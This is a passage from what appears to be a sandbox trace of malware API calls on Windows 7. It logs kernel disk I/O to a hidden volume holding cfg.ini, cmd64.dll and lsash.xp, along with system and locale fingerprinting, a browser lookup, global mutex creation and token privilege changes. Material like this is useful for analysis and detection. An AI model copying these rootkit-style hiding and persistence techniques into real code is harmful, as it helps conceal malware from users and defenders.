FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.833] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.833] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1270, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.833] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.833] KeInitializeEvent (in: Event=0xfffff880028b2630, Type=0x0, State=0 | out: Event=0xfffff880028b2630) [0081.833] IdePortDispatch () returned 0x103 [0081.834] KeWaitForMutexObject () returned 0x0 [0081.834] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0081.834] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.834] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.834] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.834] KeInitializeEvent (in: Event=0xfffff880028b2630, Type=0x0, State=0 | out: Event=0xfffff880028b2630) [0081.834] IdePortDispatch () returned 0x103 [0081.834] KeWaitForMutexObject () returned 0x0 [0081.834] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.834] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.834] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.834] KeInitializeEvent (in: Event=0xfffff880028b2630, Type=0x0, State=0 | out: Event=0xfffff880028b2630) [0081.834] IdePortDispatch () returned 0x103 [0081.834] KeWaitForMutexObject () returned 0x0 [0081.834] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.834] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.834] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.834] KeInitializeEvent (in: Event=0xfffff880028b2600, Type=0x0, State=0 | out: Event=0xfffff880028b2600) [0081.834] IdePortDispatch () returned 0x103 [0081.835] KeWaitForMutexObject () returned 0x0 [0081.835] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.835] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1270, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.835] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.835] KeInitializeEvent (in: Event=0xfffff880028b26a0, Type=0x0, State=0 | out: Event=0xfffff880028b26a0) [0081.835] IdePortDispatch () returned 0x103 [0081.835] KeWaitForMutexObject () returned 0x0 [0081.836] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.836] KeLeaveCriticalRegion () [0081.836] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.836] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.836] KeEnterCriticalRegion () [0081.836] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.836] FsRtlProcessFileLock (FileLock=0xfffffa80027daff0, Irp=0xfffffa80034e8010, Context=0x0) returned 0x0 [0081.836] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.836] KeLeaveCriticalRegion () [0081.836] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.836] KeEnterCriticalRegion () [0081.836] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.836] IoGetRequestorProcess (Irp=0xfffffa80034e8010) returned 0xfffffa80034fca60 [0081.836] FsRtlFastUnlockAll (FileLock=0xfffffa80027daff0, FileObject=0xfffffa80034fd6f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0081.836] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.836] KeLeaveCriticalRegion () [0081.836] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.836] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.836] KeEnterCriticalRegion () [0081.836] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.836] ExFreePoolWithTag (P=0xfffffa800369f890, Tag=0x0) [0081.836] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.836] KeLeaveCriticalRegion () [0081.836] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.836] ReleaseMutex (hMutex=0xf0) returned 1 [0081.836] GetVersionExA (in: lpVersionInformation=0x151ebe0*(dwOSVersionInfoSize=0x9c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x151ebe0*(dwOSVersionInfoSize=0x9c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0081.836] GetModuleHandleA (lpModuleName="kernel32") returned 0x77a30000 [0081.837] GetProcAddress (hModule=0x77a30000, lpProcName="GetNativeSystemInfo") returned 0x77a3b7e0 [0081.837] GetNativeSystemInfo (in: lpSystemInfo=0x151eba8 | out: lpSystemInfo=0x151eba8*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7fffffeffff, dwActiveProcessorMask=0x1, dwNumberOfProcessors=0x2, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0081.837] _snprintf (in: _Dest=0x1ae60, _Count=0x3fe, _Format="%1d.%1d %04d SP%1d.%1d%s" | out: _Dest="6.1 7601 SP1.0 x64") returned 18 [0081.837] GetLocaleInfoA (in: Locale=0x800, LCType=0x59, lpLCData=0x151f080, cchData=1024 | out: lpLCData="en") returned 3 [0081.837] GetLocaleInfoA (in: Locale=0x800, LCType=0x5a, lpLCData=0x151ec80, cchData=1024 | out: lpLCData="US") returned 3 [0081.837] _snprintf (in: _Dest=0x1a660, _Count=0x3fe, _Format="%s-%s" | out: _Dest="en-US") returned 5 [0081.837] _strlwr (in: _String=0x1a660 | out: _String="en-us") returned="en-us" [0081.837] SHGetValueA (in: hkey=0xffffffff80000002, pszSubKey="software\\classes\\http\\shell\\open\\command", pszValue=0x0, pdwType=0x151f4b8, pvData=0x1aa60, pcbData=0x151f4b0*=0x3ff | out: pdwType=0x151f4b8*=0x1, pvData="\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" -nohome", pcbData=0x151f4b0*=0x40) returned 0x0 [0081.841] StrStrIA (lpFirst="\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" -nohome", lpSrch="getlongpathname") returned 0x0 [0081.842] strstr (_Str="\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" -nohome", _SubStr=".exe") returned=".exe\" -nohome" [0081.842] _strlwr (in: _String=0x1aa60 | out: _String="iexplore") returned="iexplore" [0081.842] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x16504) returned 0xff1c3984 [0081.842] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0081.842] WritePrivateProfileStringA (lpAppName="cmd", lpKeyName="version", lpString="0.31", lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 1 [0081.842] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.842] KeEnterCriticalRegion () [0081.842] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.842] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.842] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.842] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.842] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0081.842] IdePortDispatch () returned 0x103 [0081.842] KeWaitForMutexObject () returned 0x0 [0081.842] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0081.842] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0081.842] strncpy (in: _Dest=0xfffffa80027dafe0, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0081.842] FsRtlInitializeFileLock (FileLock=0xfffffa80027daff0, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0081.842] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80034fc7a0 [0081.842] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.842] KeLeaveCriticalRegion () [0081.842] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.842] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.842] KeEnterCriticalRegion () [0081.842] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.842] FsRtlProcessFileLock (FileLock=0xfffffa80027daff0, Irp=0xfffffa80034e8010, Context=0x0) returned 0x0 [0081.843] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.843] KeLeaveCriticalRegion () [0081.843] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.843] KeEnterCriticalRegion () [0081.843] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.843] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.843] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.843] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.843] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0081.843] IdePortDispatch () returned 0x103 [0081.843] KeWaitForMutexObject () returned 0x0 [0081.843] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0081.843] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.843] KeLeaveCriticalRegion () [0081.843] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.843] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.843] KeEnterCriticalRegion () [0081.843] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.843] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003429000 [0081.843] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.843] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003648530 [0081.843] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0081.843] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0081.843] IdePortDispatch () returned 0x103 [0081.843] KeWaitForMutexObject () returned 0x0 [0081.844] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0081.844] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.844] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003648530 [0081.844] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0081.844] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0081.844] IdePortDispatch () returned 0x103 [0081.844] KeWaitForMutexObject () returned 0x0 [0081.844] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.844] KeLeaveCriticalRegion () [0081.844] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.844] _snprintf (in: _Dest=0xfffff880028b2760, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.844] KeEnterCriticalRegion () [0081.844] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.844] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff88000000010) returned 0xfffff8800342a1a6 [0081.844] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.844] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1270, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003648530 [0081.844] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0081.844] KeInitializeEvent (in: Event=0xfffff880028b2580, Type=0x0, State=0 | out: Event=0xfffff880028b2580) [0081.844] IdePortDispatch () returned 0x103 [0081.844] KeWaitForMutexObject () returned 0x0 [0081.844] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0081.844] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.844] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003648530 [0081.844] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0081.844] KeInitializeEvent (in: Event=0xfffff880028b2580, Type=0x0, State=0 | out: Event=0xfffff880028b2580) [0081.844] IdePortDispatch () returned 0x103 [0081.845] KeWaitForMutexObject () returned 0x0 [0081.869] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.869] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003648530 [0081.869] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0081.869] KeInitializeEvent (in: Event=0xfffff880028b2550, Type=0x0, State=0 | out: Event=0xfffff880028b2550) [0081.869] IdePortDispatch () returned 0x103 [0081.869] KeWaitForMutexObject () returned 0x0 [0081.870] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.870] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1270, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003648530 [0081.870] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0081.870] KeInitializeEvent (in: Event=0xfffff880028b25f0, Type=0x0, State=0 | out: Event=0xfffff880028b25f0) [0081.870] IdePortDispatch () returned 0x103 [0081.870] KeWaitForMutexObject () returned 0x0 [0081.870] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.870] KeLeaveCriticalRegion () [0081.870] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.870] _snprintf (in: _Dest=0xfffff880028b27b0, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.870] KeEnterCriticalRegion () [0081.870] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.870] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.870] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1270, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.870] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.870] KeInitializeEvent (in: Event=0xfffff880028b2630, Type=0x0, State=0 | out: Event=0xfffff880028b2630) [0081.870] IdePortDispatch () returned 0x103 [0081.871] KeWaitForMutexObject () returned 0x0 [0081.871] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0081.871] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.871] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.871] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.871] KeInitializeEvent (in: Event=0xfffff880028b2630, Type=0x0, State=0 | out: Event=0xfffff880028b2630) [0081.871] IdePortDispatch () returned 0x103 [0081.871] KeWaitForMutexObject () returned 0x0 [0081.871] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.871] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.871] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.871] KeInitializeEvent (in: Event=0xfffff880028b2630, Type=0x0, State=0 | out: Event=0xfffff880028b2630) [0081.871] IdePortDispatch () returned 0x103 [0081.871] KeWaitForMutexObject () returned 0x0 [0081.871] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.871] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.871] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.871] KeInitializeEvent (in: Event=0xfffff880028b2600, Type=0x0, State=0 | out: Event=0xfffff880028b2600) [0081.871] IdePortDispatch () returned 0x103 [0081.871] KeWaitForMutexObject () returned 0x0 [0081.872] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.872] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1270, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.872] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.872] KeInitializeEvent (in: Event=0xfffff880028b26a0, Type=0x0, State=0 | out: Event=0xfffff880028b26a0) [0081.872] IdePortDispatch () returned 0x103 [0081.872] KeWaitForMutexObject () returned 0x0 [0081.872] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.872] KeLeaveCriticalRegion () [0081.872] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.872] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.872] KeEnterCriticalRegion () [0081.872] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.872] FsRtlProcessFileLock (FileLock=0xfffffa80027daff0, Irp=0xfffffa80034e8010, Context=0x0) returned 0x0 [0081.872] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.872] KeLeaveCriticalRegion () [0081.872] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.872] KeEnterCriticalRegion () [0081.872] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.872] IoGetRequestorProcess (Irp=0xfffffa80034e8010) returned 0xfffffa80034fca60 [0081.872] FsRtlFastUnlockAll (FileLock=0xfffffa80027daff0, FileObject=0xfffffa80034fe520, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0081.872] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.872] KeLeaveCriticalRegion () [0081.872] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.873] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.873] KeEnterCriticalRegion () [0081.873] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.873] ExFreePoolWithTag (P=0xfffffa80034fc7a0, Tag=0x0) [0081.873] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.873] KeLeaveCriticalRegion () [0081.873] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.873] ReleaseMutex (hMutex=0xf0) returned 1 [0081.873] CreateWaitableTimerA (lpTimerAttributes=0x151f030, bManualReset=0, lpTimerName="Global\\56684A82-D074-4384-AEB9-D1A40041D9FB") returned 0x108 [0081.873] GetLastError () returned 0x0 [0081.873] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0081.874] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x252430, lpbSaclPresent=0x151f000, pSacl=0x151efc0, lpbSaclDefaulted=0x151eff8 | out: lpbSaclPresent=0x151f000, pSacl=0x151efc0, lpbSaclDefaulted=0x151eff8) returned 1 [0081.874] SetSecurityInfo () returned 0x0 [0081.874] LocalFree (hMem=0x252430) returned 0x0 [0081.874] SetWaitableTimer (hTimer=0x108, lpDueTime=0x151eff8, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0081.874] CreateMutexA (lpMutexAttributes=0x151f030, bInitialOwner=0, lpName="Global\\6C29A0C8-62C6-415C-9538-B87690BC58D2") returned 0x100 [0081.874] GetLastError () returned 0x0 [0081.874] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0081.875] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x252430, lpbSaclPresent=0x151f000, pSacl=0x151efc0, lpbSaclDefaulted=0x151eff8 | out: lpbSaclPresent=0x151f000, pSacl=0x151efc0, lpbSaclDefaulted=0x151eff8) returned 1 [0081.875] SetSecurityInfo () returned 0x0 [0081.875] LocalFree (hMem=0x252430) returned 0x0 [0081.875] _snprintf (in: _Dest=0x1ce70, _Count=0x3ff, _Format="%s\\%s" | out: _Dest="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp") returned 48 [0081.875] QueueUserWorkItem (Function=0x13308, Context=0x0, Flags=0x10) returned 1 [0081.875] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x20, TokenHandle=0x151f4b0 | out: TokenHandle=0x151f4b0*=0x10c) returned 0x0 [0081.875] NtAdjustPrivilegesToken (in: TokenHandle=0x10c, DisableAllPrivileges=0, NewState=0x17890, BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 0x0 [0081.875] NtClose (Handle=0x10c) returned 0x0 [0081.875] QueueUserWorkItem (Function=0x138e8, Context=0x15180, Flags=0x10) returned 1 [0081.875] QueueUserWorkItem (Function=0x13bc4, Context=0x0, Flags=0x10) returned 1 [0081.875] QueueUserWorkItem (Function=0x13114, Context=0x0, Flags=0x10) returned 1 [0081.875] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x5631d940, dwHighDateTime=0x1d24fa4)) [0081.875] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0081.875] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0081.875] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0081.875] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.875] KeEnterCriticalRegion () [0081.876] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.876] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.876] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.876] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.876] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0081.876] IdePortDispatch () returned 0x103 [0081.876] KeWaitForMutexObject () returned 0x0 [0081.876] _strnicmp (_Str1="cfg.ini", 